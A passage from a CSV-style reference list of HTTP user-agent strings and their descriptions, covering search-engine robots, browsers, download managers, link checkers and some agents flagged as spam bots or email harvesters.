gncwebbot)\nPilot Hitlist web site analysis,Marketwave Hit List\nLooksmart directory page analysis,Martini\nLooksmart directory page analysis,MARTINI\nMarvin Medhunt robot,Marvin v0.3\nSagool search Japan robot,MaSagool/1.0 (MaSagool; http://sagool.jp/; info@sagool.jp)\nMass Downloader download manager,Mass Downloader 2.x\nMasterseek (Scandinavia) Beta business search ?,MasterSeek\nLexibot (exMataHari) search software,Mata Hari/2.00 \nVirgilio Italy robot (212.48.11.xxx) using Fast Enterprise Search,Matrix S.p.A. - FAST Enterprise Crawler 6 (Unknown admin e-mail address)\nMaxomo multimedia search robot,maxomobot/dev-20051201 (maxomo; http://67.102.134.34:4047/MAXOMO/MAXOMObot.html; maxomobot@maxomo.com)\nUnknown robot from McAfee Austria (80.123.144.xx),McBot/5.001 (windows; U; NT4.0; en-us)\nMegaDownload files search robot,MDbot/1.0 (+http://www.megadownload.net/bot.html)\nSubstitute for Windows Media Player,Media Player Classic\nMedia Find crawler,MediaCrawler-1.0 (Experimental)\nGoogle AdSense robot,Mediapartners-Google/2.1 ( http://www.googlebot.com/bot.html)\nWWW.fi Media Search,MediaSearch/0.1\nSearch UK robot,MegaSheep v1.0 (www.searchuk.com internet sheep)\nMegite web2.0 RSS and news service software,Megite2.0 (http://www.megite.com)\nMercator crawler software (used by Altavista),Mercator-1.x\nMercator crawler software (used by Altavista),Mercator-2.0\nMercator crawler software (used by Altavista),Mercator-Scrub-1.1\nMetaEuro.com Clustering Web Search Engine crawler,Metaeuro Web Crawler/0.2 (MetaEuro Web Search Clustering Engine; http://www.metaeuro.com; crawler at metaeuro dot com)\nMetaGer search robot (Germany),MetaGer-LinkChecker\nMetaGer search robot (Germany),MetagerBot/0.8-dev (MetagerBot; http://metager.de;  )\nMetaGer search robot (Germany),MetaGer_PreChecker0.1\nDownload Express download manager,MetaProducts Download Express/1.x\nMetaspinner search robot - Germany,Metaspinner/0.01 (Metaspinner; http://www.meta-spinner.de/; support@meta-spinner.de/)\nMetatagsdir.com directory index spider,metatagsdir/0.7 (+http://metatagsdir.com/directory/)\nMicrosoft Foundation Class Library - i.e. used for e-mail harvesting from 68.154.96.xx (bellsouth.net),MFC Foundation Class Library 4.0\nMicrosoft.com user agent,MFC_Tear_Sample\nAdvanced Site Crawler web site ripper and extractor,MFHttpScan\nGigaBaz Brainbot (Germany) robot (213.139.152.xx),MicroBaz\nMS Office 2000 acting as WebDAV client,Microsoft Data Access Internet Publishing Provider Cache Manager\nMS Office 2000 acting as WebDAV client,Microsoft Data Access Internet Publishing Provider DAV\nServer probe for data access operations using MS Frontpage with OPTION header,Microsoft Data Access Internet Publishing Provider Protocol Discovery\nMS Office 2000 acting as WebDAV client,Microsoft Data Access Internet Publishing Provider Protocol Discovery\nMicrosoft Log Parser text query tool,Microsoft Log Parser 2.2\nMS Small Business Server content indexer,Microsoft Small Business Indexer\nuser agent looks for form-mail components (spam-bot),Microsoft URL Control - 6.00.8xxx\nUnknown robot from Microsoft.com (131.107.163.xx),MicrosoftPrototypeCrawler (How's my crawling? mailto:newbiecrawler@hotmail.com)\nSecure Computing SmartFilterWhere  / Bess web filter (192.55.214.xx),Microsoft_Internet_Explorer_5.00.438 (fjones@isd.net)\nxpc-mii.net HTTP server message,MIIxpc/4.2\nThe Mindjet blog MindManager category,Mindjet MindManager\nunknown robot via Korea Telecom (211.218.xxx.xxx),minibot\nmini- Rank website popularity tool,miniRank/1.6 (Website ranking; www.minirank.com; robot)\nunknown robot via nec.co.jp Telecom (210.143.35.xx),MiracleAlphaTest\nSome spam bot,Missauga Locate 1.0.0\nSome spam bot,Missigua Locator 1.9\nSome spam bot,Missouri College Browse\nMister PiX picture finding software,Mister Pix II 2.02a\nMister PiX  picture finding software,Mister PiX version.dll\nMisterbot search France robot,Misterbot-Nutch/0.7.1 (Misterbot-Nutch; http://www.misterbot.fr; admin@misterbot.fr)\nMiva / ex Findwhat.com search robot (66.150.55.2xx),Miva (AlgoFeedback@miva.com)\nSome spam bot from Jasmine Internet - Bangkok (203.147.0.xx),Mizzu Labs 2.2\nMajestic-12 DSearch MJ12bot (Experimental distributed crawler),MJ12bot/vx.x.x (http://majestic12.co.uk/bot.php?+)\nMajestic-12 DSearch MJ12bot (Experimental distributed crawler),MJ12bot/vx.x.x (http://www.majestic12.co.uk/projects/dsearch/mj12bot.php)\nMJB SEO Club MJBot,MJBot (SEO assessment)\nMLBot - metadata labs web crawler for building a media index (beta),MLBot (www.metadatalabs.com)\nmnoGoSearch (ex UdmSearch) software robot,MnogoSearch/3.2.xx\nUnknown bad bot - maybe guestbook spamming or email harvesting,Mo College 1.9\nGoo Japan / Inktomi robot (210.173.179.xx),moget/x.x (moget@goo.ne.jp)\nGoo Japan / Inktomi robot (210.173.179.xx),mogimogi/1.0\nmoiNag - net.art generator,moiNAG 0.02\nMojeek Search Preview robot (217.155.205.xx),MojeekBot/0.x (archi; http://www.mojeek.com/bot.html)\nGreasemonkey Firefox extension,monkeyagent\nMoonbrowser - IE based browser (Japan),MoonBrowser (version 0.41 Beta4)\nMoreover / FeedDirect RSS feed robot,Moreoverbot/x.00 (+http://www.moreover.com)\nMixCat robot s. also Felix,Morris - Mixcat Crawler ( http://mixcat.com)\nRobots.txt online checker,Motoricerca-Robots.txt-Checker/1.0 (http://tool.motoricerca.info/robots-checker.phtml)\nObigo WAP browser for mobiles on Motorola V3,Motorola-V3m Obigo\nMPRM Group Ltd. Spider Monkey robot,Mouse-House/7.4 (spider_monkey spider info at www.mobrien.com/sm.shtml)\nMovable Type  web-based personal publishing system,MovableType/x.x\nMozdex Open search engine spider (65.98.100.2xx),mozDex/0.xx-dev (mozDex; http://www.mozdex.com/en/bot.html; spider@mozdex.com)\nBell Nexxia / Sympatico Canada user robot & spoofed referer from diff. IPs,Mozi!\nUnknown robots from diff. IPs,Mozilla\nlibwhisker - HTTP client and utility - Perl library,Mozilla (libwhisker/2.4)\nhttp://www.somewhere.com robot,Mozilla (Mozilla@somewhere.com)\nBotSeer search engine for robots.txt,Mozilla 4.0(compatible; BotSeer/1.0; +http://botseer.ist.psu.edu)\nPDA Pocket IE 2.x Windows CE,Mozilla/1.1 (compatible; MSPIE 2.0; Windows CE)\nOregano browser for RISC OS,Mozilla/1.10 [en] (Compatible; RISC OS 3.70; Oregano 1.10)\nIE 2.x WinNT,Mozilla/1.22 (compatible; MSIE 2.0d; Windows NT)\nEudoraWeb 2.0 browser (Eudora Internet Suite) for PalmOS,Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2\nDummy user agent - i.e. used by Namo Web Editor,Mozilla/2.0\nAOL Mac,Mozilla/2.0 (compatible; AOL 3.0; Mac_PowerPC)\nAOL Win 3.x,Mozilla/2.0 (Compatible; AOL-IWENG 3.0; Win16)\nAsk Jeeves /Teoma robot,Mozilla/2.0 (compatible; Ask Jeeves)\nAsk Jeeves /Teoma robot,Mozilla/2.0 (compatible; Ask Jeeves/Teoma)\nAsk Jeeves /Teoma robot,Mozilla/2.0 (compatible; Ask Jeeves/Teoma; http://about.ask.com/en/docs/about/webmasters.shtml) \nAsk Jeeves /Teoma robot,Mozilla/2.0 (compatible; Ask Jeeves/Teoma; http://sp.ask.com/docs/about/tech_crawling.html)\nDirect Hit Robot,Mozilla/2.0 (compatible; EZResult -- Internet Search Engine)\nMS Frontpage x.x web editor,Mozilla/2.0 (compatible; MS FrontPage x.0)\nIE 2.x Mac Power PC,Mozilla/2.0 (compatible; MSIE 2.1; Mac_PowerPC)\nIE 3.x WinNT,Mozilla/2.0 (compatible; MSIE 3.02; Update a; AK; Windows NT)\nIE 3.x AOL Win95,Mozilla/2.0 (compatible; MSIE 3.02; Update a; AOL 3.0; Windows 95)\nIE 3.x Win95,Mozilla/2.0 (compatible; MSIE 3.0; AK; Windows 95)\nIE 3.x Win 3.1,Mozilla/2.0 (compatible; MSIE 3.0; Windows 3.1)\nIE 3.x WinXP,Mozilla/2.0 (compatible; MSIE 3.0B; Win32)\nBorland Delphi .OCX component used by WebCollector email harverster,Mozilla/2.0 (compatible; NEWT ActiveX; Win32)\nThunderstone's Webinator Web indexing program,Mozilla/2.0 (compatible; T-H-U-N-D-E-R-S-T-O-N-E)\nCheck&Get bookmark and link checking tool,Mozilla/2.0 compatible; Check&Get 1.1x (Windows 98)\nNetscape 2.x Win3.x International,Mozilla/2.01 (Win16; I)\nNetscape 2.x Gold Win95,Mozilla/2.02Gold (Win95; I)\nFaked user agent for diff. purposes i.e.: - some download manager - E-mail harvesting,Mozilla/3.0 (compatible)\nAvantGo PDA browser,Mozilla/3.0 (compatible; AvantGo 3.2)\nSearchhippo robot,Mozilla/3.0 (compatible; Fluffy the spider; http://www.searchhippo.com/; info@searchhippo.com)\nHP Web PrintSmart (discontinued) - web page printing software,Mozilla/3.0 (compatible; HP Web PrintSmart 04b0 1.0.1.34)\nInternet Direct Library for Borland (often used as e-mail address collector and mass mailing tool),Mozilla/3.0 (compatible; Indy Library)\nOutertechs Linkman bookmark tool,Mozilla/3.0 (compatible; Linkman)\nEuroferret robot,Mozilla/3.0 (compatible; MuscatFerret/1.5.4; claude@euroferret.com)\nEuroferret robot,Mozilla/3.0 (compatible; MuscatFerret/1.5; olly@muscat.co.uk)\nEuroferret robot,Mozilla/3.0 (compatible; MuscatFerret/1.6.x; claude@euroferret.com)\nNetart Generator  - script generated random websites,Mozilla/3.0 (compatible; netart generator/1.0; libwww-perl/5.64)\nNetPositive BEOS browser,Mozilla/3.0 (compatible; NetPositive/2.2)\nOpera 3.x Win3.x,Mozilla/3.0 (compatible; Opera/3.0; Windows 3.1) v3.1\nOpera 3.x Win95/NT,Mozilla/3.0 (compatible; Opera/3.0; Windows 95/NT4) 3.2\nPerman Surfer  bookmark tool,Mozilla/3.0 (compatible; PerMan Surfer 3.0; Win95)\nWeb Link Validator link validation software,Mozilla/3.0 (compatible; REL Software Web Link Validator 2.x)\nScan4Mail online mail extraction service,Mozilla/3.0 (compatible; scan4mail (advanced version) http://www.peterspages.net/?scan4mail)\nWebWobot UK search engine robot (82.43.129.2xx),Mozilla/3.0 (compatible; ScollSpider; http://www.webwobot.com)\nWeb Link Validator link validation software,Mozilla/3.0 (compatible; Web Link Validator 2.x)Web Link Validator http://www.relsoftware.com/ link validation software\nXelios Web Capture (now Wysigot) website downloading tool (Discontinued),Mozilla/3.0 (compatible; WebCapture x.x; Auto; Windows)\nIprospect search engine positioning using Thunderstone's Webinator,Mozilla/3.0 (compatible; Webinator-DEV01.home.iprospect.com/2.56)\nCyberAlert's Media Monitor using Thunderstone's Webinator,Mozilla/3.0 (compatible; Webinator-indexer.cyberalert.com/2.56)\nViking server user/client,Mozilla/3.0 (Compatible;Viking/1.8)\nOne of DC-Sakuras download manager user-agent names,Mozilla/3.0 (DreamPassport/3.0)\nIlse Netherlands robot (62.69.178.xx),Mozilla/3.0 (INGRID/3.0 MT; webcrawler@NOSPAMexperimental.net; http://aanmelden.ilse.nl/?aanmeld_mode=webhints)\nLiberate DTV server suite / TV-emulator,Mozilla/3.0 (Liberate DTV 1.1)\nPlanetweb 2.1 Browser (discontinued) for Dreamcast,Mozilla/3.0 (Planetweb/2.100 JS SSL US; Dreamcast US)\nhttp://www.goo.ne.jp /Inktomi robot,Mozilla/3.0 (Slurp.so/Goo; slurp@inktomi.com; http://www.inktomi.com/slurp.html)\nInktomi (Hotbot-Lycos-NBCi) robot - 72.30.61.xx(x),Mozilla/3.0 (Slurp/cat; slurp@inktomi.com; http://www.inktomi.com/slurp.html)\nInktomi (Hotbot-Lycos-NBCi) robot - 72.30.61.xx(x),Mozilla/3.0 (Slurp/si; slurp@inktomi.com; http://www.inktomi.com/slurp.html)\nWiseGuys robot Netherland - 82.94.216.2,Mozilla/3.0 (Vagabondo/1.1 MT; webcrawler@NOSPAMwise-guys.nl; http://webagent.wise-guys.nl/)\nWiseGuys robot Netherland - 82.94.216.2,Mozilla/3.0 (Vagabondo/1.x MT; webagent@wise-guys.nl; http://webagent.wise-guys.nl/)\nIlse Netherlands robot,Mozilla/3.0 (Vagabondo/2.0 MT; webcrawler@NOSPAMexperimental.net; http://aanmelden.ilse.nl/?aanmeld_mode=webhints)\nWiseGuys robot Netherland - 82.94.216.2,Mozilla/3.0 (Vagabondo/2.0 MT; webcrawler@NOSPAMwise-guys.nl; http://webagent.wise-guys.nl/)\nNetscape 3.x Win3.x,Mozilla/3.0 (Win16; I)\nNetscape 3.x Win95,Mozilla/3.0 (Win95; I)\nNetscape 3.x WinNT,Mozilla/3.0 (WinNT; I)\nNetscape 3.x FreeBSD,Mozilla/3.0 (WorldGate Gazelle 3.5.1 build 11; FreeBSD2.2.8-STABLE)\nNetscape 3.x OSF1 V4.0 alpha ,Mozilla/3.0 (X11; I; OSF1 V4.0 alpha)\nAOL Web TV,Mozilla/3.0 NAVIO_AOLTV (11; 13; Philips; PH200; 1; R2.0C36_AOL.0110OPTIK; R2.0.0139d_OPTIK)\nWebTV,Mozilla/3.0 WebTV/1.2 (compatible; MSIE 2.0)\nAmiga Voyager Browser Amiga,Mozilla/3.01 (compatible; AmigaVoyager/2.95; AmigaOS/MC680x0)\nLinks2Go robot,Mozilla/3.01 (Compatible; Links2Go Similarity Engine)\nNetgem Netbox cable modem TV Box Linux,Mozilla/3.01 (compatible; Netbox/3.5 R92; Linux 2.2)\nNetscape 3.x Mac,Mozilla/3.01-C-MACOS8 (Macintosh; I; PPC)\nNetscape 3.x Linux,Mozilla/3.01Gold (X11; I; Linux 2.0.32 i486)\nNetscape 3.x SunOS,Mozilla/3.01Gold (X11; I; SunOS 5.5.1 sun4m)\nNetscape 3.x Irix,Mozilla/3.01SGoldC-SGI (X11; I; IRIX 6.3 IP32)\nANT Fresco Browser Risc OS,Mozilla/3.04 (compatible; ANTFresco/2.13; RISC OS 4.02)\nNCBrowser ANT Fresco Browser Risc OS,Mozilla/3.04 (compatible; NCBrowser/2.35; ANTFresco/2.17; RISC OS-NC 5.13 Laz1UK1309)\nQNX OS Voyager embedded browser,Mozilla/3.04 (compatible;QNX Voyager 2.03B ;Photon)\nI-Opener (was www.netpliance.com/) web PC,Mozilla/3.x (I-Opener 1.1; Netpliance)\nYahoo Mindset: Intent-driven Search (66.228.182.1xx),Mozilla/4.0\nAgada search (Germany) robot,Mozilla/4.0 (agadine3.0) www.agada.de\nURLBase 6 bookmark manager,Mozilla/4.0 (Compatible); URLBase 6\nAstrafind! adult search robot (66.98.252.xx),Mozilla/4.0 (compatible: AstraSpider V.2.1 : astrafind.com)\nWiseGuys robot Netherland - 82.94.216.2,Mozilla/4.0 (compatible;  Vagabondo/2.2; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/)\nWiseGuys robot Netherland - 82.94.216.2,Mozilla/4.0 (compatible;  Vagabondo/4.0Beta; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/)\nReGet Deluxe! download manager,Mozilla/4.0 (compatible; <a href=http://www.reget.com>ReGet Deluxe 5.1</a>; Windows NT 5.1)\nAdvanced Email Extractor e-mail collector (spam bot),Mozilla/4.0 (compatible; Advanced Email Extractor v2.xx)\nArachmo Spider - web site file extraction tool,Mozilla/4.0 (compatible; Arachmo)\nNovell Border Manager security suite,Mozilla/4.0 (compatible; BorderManager 3.0)\nBest of the Web directory link checking,Mozilla/4.0 (compatible; BOTW Spider; +http://botw.org)\nBlitzsuche Germany robot,Mozilla/4.0 (compatible; B_L_I_T_Z_B_O_T)\nContent Control from Blue Coat,Mozilla/4.0 (compatible; Cerberian Drtrs Version-3.2-Build-0)\n\"Check&Get bookmark manager, web change monitor and archiver\",Mozilla/4.0 (compatible; Check&Get 3.0; Windows NT)\nChristcentral.com Christcrawler (was www.christcrawler.com),Mozilla/4.0 (compatible; ChristCrawler.com ChristCrawler@ChristCENTRAL.com)\nYahoo Search Marketing crawler (68.142.211.1xx),\"Mozilla/4.0 (compatible; crawlx, crawler@trd.overture.com)\"\nDAUMOA - Daum search Korea robot (211.115.109.xxx),Mozilla/4.0 (compatible; DAUMOA-video; +http://ws.daum.net/aboutkr.html)\nDepSpid distributed web crawler for link dependencies,Mozilla/4.0 (compatible; DepSpid/5.0x; +http://about.depspid.net)\nDownload Mage download manager,Mozilla/4.0 (compatible; DnloadMage 1.0)\nFast/Alltheweb crawler,Mozilla/4.0 (compatible; FastCrawler3 support-fastcrawler3@fast.no)\nFluid Dynamics Search Engine (FDSE) robot used by Abadoor.de,Mozilla/4.0 (compatible; FDSE robot)\nGPU Distributed Search Engine crawler,Mozilla/4.0 (compatible; GPU p2p crawler http://gpu.sourceforge.net/search_engine.php)\nGrub open source crawler,Mozilla/4.0 (compatible; grub-client-0.2.x; Crawl your stuff with http://grub.org)\nGrub open source crawler,Mozilla/4.0 (compatible; grub-client-0.3.x; Crawl your own stuff with http://grub.org)\nGrub open source crawler used by Looksmart ( 64.241.242.xx),Mozilla/4.0 (compatible; grub-client-2.x)\nibisBrowser Japanese mobile browser,Mozilla/4.0 (compatible; ibisBrowser)\nNovell iChain Cool Solutions caching,Mozilla/4.0 (compatible; ICS 1.2.xxx)\nIE Favorites Check - Bookmark manager,Mozilla/4.0 (compatible; IE-Favorites-Check-0.5)\nIplexx Austria (webhosting company) logfile spamming bot,Mozilla/4.0 (compatible; Iplexx Spider/1.0 http://www.iplexx.at)\nKeepNi Monitors - Web site monitoring / link checking tool,Mozilla/4.0 (compatible; KeepNI web site monitor)\nNetPromoter Link Utility link checking tool,Mozilla/4.0 (compatible; Link Utility; http://net-promoter.com)\nLotus Notes 5.0 browser,Mozilla/4.0 (compatible; Lotus-Notes/5.0; Windows-NT)\nIE 4.x AOL Win98,Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Windows 98)\nIE 4.x Mac Power PC,Mozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC)\nInternet Explorer 4.0 URL check,Mozilla/4.0 (compatible; MSIE 4.01; MSIECrawler; Windows 95)\nVonna search robot,Mozilla/4.0 (compatible; MSIE 4.01; Vonna.com b o t)\nIE 4.x Win95,Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)\nIE PDA Browser Windows CE,Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; MSN Companion 2.0; 800x600; Compaq)\nOrange France robot for mobiles,Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; SPV M700; OpVer 19.123.2.733) OrangeBot-Mobile 2008.0 (mobilesearch.support@orange-ftgroup.com)\nIE for Windows CE on a PocketPC (HP iPAQ),Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPS; 240x320)\nIE PDA Browser Windows CE,Mozilla/4.0 (compatible; MSIE 4.01; Windows NT Windows CE)\nIE 4.x WinNT,Mozilla/4.0 (compatible; MSIE 4.01; Windows NT)\ndiff. IPs / services i.e.: - Microsoft server information robot (see link) - Okanagan Internet Junction web filter (robot),Mozilla/4.0 (compatible; MSIE 4.01; Windows NT; MS Search 4.0 Robot) Microsoft\nUnknown robot from American College of Radiology (ACR) running MS Site Server,Mozilla/4.0 (compatible; MSIE 4.0; Windows NT; Site Server 3.0 Robot) ACR\nIndonesia Interactive Web-portal robot on MS Site Server,Mozilla/4.0 (compatible; MSIE 4.0; Windows NT; Site Server 3.0 Robot) Indonesia Interactive\nWebquestdesigns hosting,Mozilla/4.0 (compatible; MSIE 4.0; Windows NT; Site Server 3.0 Robot) WebQuest Designs\nAvirt Gateway proxy server,Mozilla/4.0 (compatible; MSIE 5.01; Windows 95) via <B>Avirt Gateway Server</B> v4.0\nMetacarta.com (66.28.xx.xxx) robot,Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) (samualt9@bigfoot.com)\nNetCaptor IE browser addon,Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; NetCaptor 6.5.0RC1)\nIE 5.x AOL Win95 Sureseeker search plugin,Mozilla/4.0 (compatible; MSIE 5.0; AOL 5.0; Windows 95; DigExt; Gateway2000; sureseeker.com)\nIE 5.x Mac PowerPC AtHome user,Mozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC; AtHome021)\nwww.netnose.com crawler,Mozilla/4.0 (compatible; MSIE 5.0; NetNose-Crawler 2.0; A New Search Experience: http://www.netnose.com)\nWinXP via CERN httpd proxy server ,Mozilla/4.0 (compatible; MSIE 5.0; Win32) via proxy gateway CERN-HTTPD/3.0 libwww/2.17\nEcho.com robot,Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) TrueRobot; 1.5\nVoila.fr robot,Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) VoilaBot BETA 1.2 (http://www.voila.com/)\nVoila.fr robot,Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) VoilaBot; 1.6\nWinME Opera 5.x,Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]\nKyosoft's Link Checker,Mozilla/4.0 (compatible; MSIE 5.0; Windows ME; Link Checker 2.x.xx http://www.kyosoft.com)\nBeijing Express Email Address Extractor via DHCP Data Transport Services (DTS),Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; DTS Agent\nGirafa (browser plug-in) robot,Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; Girafabot; girafabot at girafa dot com; http://www.girafa.com)\nGalaxy robot (63.121.41.xxx) ,Mozilla/4.0 (compatible; MSIE 5.0; www.galaxy.com; www.psychedelix.com)\nGalaxy robot (63.121.41.xxx),Mozilla/4.0 (compatible; MSIE 5.0; www.galaxy.com; www.psychedelix.com/; http://www.galaxy.com/info/crawler.html)\nYandex Search Russia link checking (213.180.206.2xx),Mozilla/4.0 (compatible; MSIE 5.0; YANDEX)\nGobeez starting page plugin,Mozilla/4.0 (compatible; MSIE 5.5; AOL 4.0; Windows 98; GoBeez (www.gobeez.com))\nIE 5.5 Win95 Hotbar plug-in,Mozilla/4.0 (compatible; MSIE 5.5; Windows 95; Transmission Segment; Hotbar 2.0)\nCrazy Browser - IE based tabbed Browser,Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Crazy Browser 1.x.x)\nWanadoo Internet services,Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; KITV4.7 Wanadoo)\nSafexplorer (safexplorer.com - site is offline) kids browser,Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; SAFEXPLORER TL)\nKatiesoft Scroll (ex www.katiesoft.com now discarded) & SimulBrowse (ex www.simulbrowse.com now dead) IE browser plugins,Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; SYMPA; Katiesoft 7; SimulBrowse 3.0)\nWindows ME BTOpenworld Internet services,Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; BTinternet V8.1)\nWindows ME Internet Explorer URL check,Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; MSIECrawler)\nCobion Germany Brand Protection Services robot,Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; obot)\nCobion Germany Brand Protection Services robot,Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; QXW03018)\nIE 5.5 Win2000 / user agent,Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Active Cache Request\nMaybe: - MS Internet Security & Acceleration Server (ISA) cache refreshing request (see link) or - IE 5.5 Win2000 probably with some (website) API request component (see 2nd link) - suspected as email-harvester / site scanning tool (see http://www.byte.com/documents/s=493/byt20010208s0001/index.htm,Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Fetch API Request\nIE 5.5 Win2000 with MS.NET SDK,Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.0.3705)\nIE 5.5 Win2000 / user agent w. AI RoboForm (AIRF) password manager,Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; AIRF)\nAspTear URL fetching program component / Download32.com spider,Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; AspTear 1.5)\nNokia.com network,Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; N_o_k_i_a)\nUnknown Object Sciences Corp. robot using the HTTPClient,Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; T312461) RPT-HTTPClient/0.3-3E\nSingingfish media spider (64.12.186.2xx) via AOL search,Mozilla/4.0 (compatible; MSIE 6.0 compatible; Asterias Crawler v4; +http://www.singingfish.com/help/spider.html; webmaster@singingfish.com); SpiderThread  Revision: 3.10\nMegaupload Mega Manager - Download manager toolbar for IE,Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows 98; .NET CLR 1.1.4322; MEGAUPLOAD 2.0)\nHotbar IE graphical skin,Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; HbTools 4.7.2)\nSkaffe.com directory link checker,Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Skampy/0.9.x [en]\nTargetSeek Crawler concerning electronics industry product announcements,Mozilla/4.0 (compatible; MSIE 6.0; TargetSeek/1.0; +http://www.targetgroups.net/TargetSeek.html)\nIE 6.0 WebWasher ad filter,Mozilla/4.0 (compatible; MSIE 6.0; Win32) WebWasher 3.0\nWeb Link Validator link validation software,Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) REL Software Web Link Validator 2.x)\nWeb Link Validator link validation software,Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) Web Link Validator 2.x)\nIE 6.0 Netmanager IE add-on,Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Net M@nager V3.02 - www.vinn.com.au)\nWebLight web analyzer & link checker,Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; support@illumit.com; http://www.illumit.com/Products/weblight/)\nAbolimba Multibrowser - IE based browser,Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; http://www.Abolimba.de)\nLunascape IE based browser (Japan),Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; Lunascape 2.1.3)\nGoogle wireless transcoder (GWT) proxy for rewriting websites for mobiles,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Google Wireless Transcoder;)\nTüzilla (Germany) - ODP link checking using Robozilla,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ODP entries t_st; http://tuezilla.de/t_st-odp-entries-agent.html)\nTüzilla (Germany) - ODP link checking using Robozilla,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ODP links test; http://tuezilla.de/test-odp-links-agent.html)\nZoomSpider.Net indexing robot for several directorys,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)\nunknown robot from 64.246.44.xx,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (dns_admin@c-a-s-h.com)\nCovac Software UPPS (Universal PHP Proxy Server) - free public proxy server,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Covac UPPS Cathan 1.2.5;)\nGetNetWise Crayon Crawler web filter,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crayon Crawler; snprtz|T04056566514940; (R1 1.5))\nDeepnet Explorer - IE based browser,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Deepnet Explorer)\nHeritrix Internet Archive's open-source web project used by Analysis Projects at UW,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; heritrix/1.3.0 http://www.cs.washington.edu/research/networking/websys/)\nIE 6x WinXP Hotbar plug-in,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 3.0)\nIE 6x WinXP iOpus Internet Macros - Internet-based macro recorder ,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M)\niRider - IE based browser / Free Download Manager (FDM),Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iRider 2.21.1108; FDM)\nKKman http://www.kkman.com/ - Japanese IE based browser,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman3.0)\nIE 6x WinXP MathPlayer mathematical notation plugin ,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer2.0)\nMaxton (ex MyIE2) - IE based browser,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon) \nIE 6x WinXP peoplepc online PeoplePal IE toolbar,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; PeoplePal 3.0; MSIECrawler)\nIE 6x WinXP / I-Opener (was www.netpliance.com/) web PC,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; IOpener Release 1.1.04)\nQihoo search (China) robot,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0  qihoobot@qihoo.net)\nSimBar IE toolbar for accessing The Sims sites / Infopath IE form & spreadsheet plugin,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SIMBAR Enabled; InfoPath.1)\nIE 6x WinXP Stumble Upon IE toolbar,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; StumbleUpon.com 1.760; .NET CLR 1.1.4322)\nBalsa Productions embedded web browser package for Borland Delphi,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;  Embedded Web Browser from: http://bsalsa.com/; MSIECrawler)\nChangeDetection robot for web page monitoring,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;  http://www.changedetection.com/bot.html )\nIE 6x WinXP also used by WebSite Pro HTML editor,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\nDX-Browser - German IE based browser,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; DX-Browser 5.0.0.0)\nezPeer+ P2P IE addon,Mozilla/4.0 